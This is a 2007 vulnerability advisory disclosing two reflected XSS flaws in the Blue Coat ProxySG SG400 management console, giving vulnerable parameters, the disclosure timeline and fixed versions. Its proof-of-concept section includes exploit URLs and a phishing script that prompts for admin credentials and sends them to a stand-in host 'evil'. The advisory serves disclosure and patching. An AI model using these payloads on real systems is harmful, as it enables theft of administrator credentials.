Two XSS on Blue Coat ProxySG Management Console

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Subject: Two XSS on Blue Coat ProxySG Management Console
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PR07-29: Two XSS on Blue Coat ProxySG Management Console

Vulnerability found: 23 July 2007

Vendor informed: 20 August 2007

Vulnerability fixed: 29 October 2007

Advisory publicly released: 1 November 2007

Severity: Medium

Description: 

Blue Coat SG400 is vulnerable to a couple of XSS holes.

Vulnerable server-side script / unfiltered parameter: '/Secure/Local/console/install_upload_action/crl_format' / 'name'

Vulnerable server-side script / unfiltered parameter: '/Secure/Local/console/install_upload_from_file.htm' / 'file'

Notes:

The admin user needs to be authenticated (HTTP basic authentication) for the injected JavaScript to run.


Successfully tested on:

Model: Blue Coat SG400 
Software SGOS 4.2.1.6 
Software Release ID: 25173 


Proof of concept #1:

https://target:8082/Secure/Local/console/install_upload_action/crl_format?name="<script>alert("XSS")</script>%00

Injected payload:

"<script>alert("XSS")</script>%00

Proof of concept #2:

https://target:8082/Secure/Local/console/install_upload_from_file.htm?file=<script>alert("XSS")</script><!--

Injected payload:

<script>alert("XSS")</script><!--


A neat payload to inject instead of a alert() box would be a phishing attack which would forward the username and password to a third-party site (the code could be inserted from a third-party site). 

i.e.:

<script>
do {
 a=prompt("Blue Coat SG400: an error has occurred\nPlease enter your USERNAME","");
        b=prompt("Blue Coat SG400: an error has occurred\nPlease enter your PASSWORD","");
}while(a==null || b==null || a=="" || b=="");

alert("owned!:"+a+"/"+b);window.location="http://evil/?u="+a+"&p="+b
</script><!--


Consequences: 

An attacker may be able to cause execution of malicious scripting code in the browser of a Blue Coat SG400 admin who clicks on a link to a Blue Coat ProxySG Management Console. Such code would run within the context of the target domain.

This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: basic auth credentials stolen through a phishing attack as described in the Proof of Concept) to unauthorised  third parties.

Fixed in:

4.2.6.1, 5.2.2.5


References: 

http://www.procheckup.com/Vulnerability_2007.php
http://www.bluecoat.com/support/securityadvisories/advisory_cross-site_scripting_vulnerability


Credits: Adrian Pastor from ProCheckUp Ltd (www.procheckup.com)





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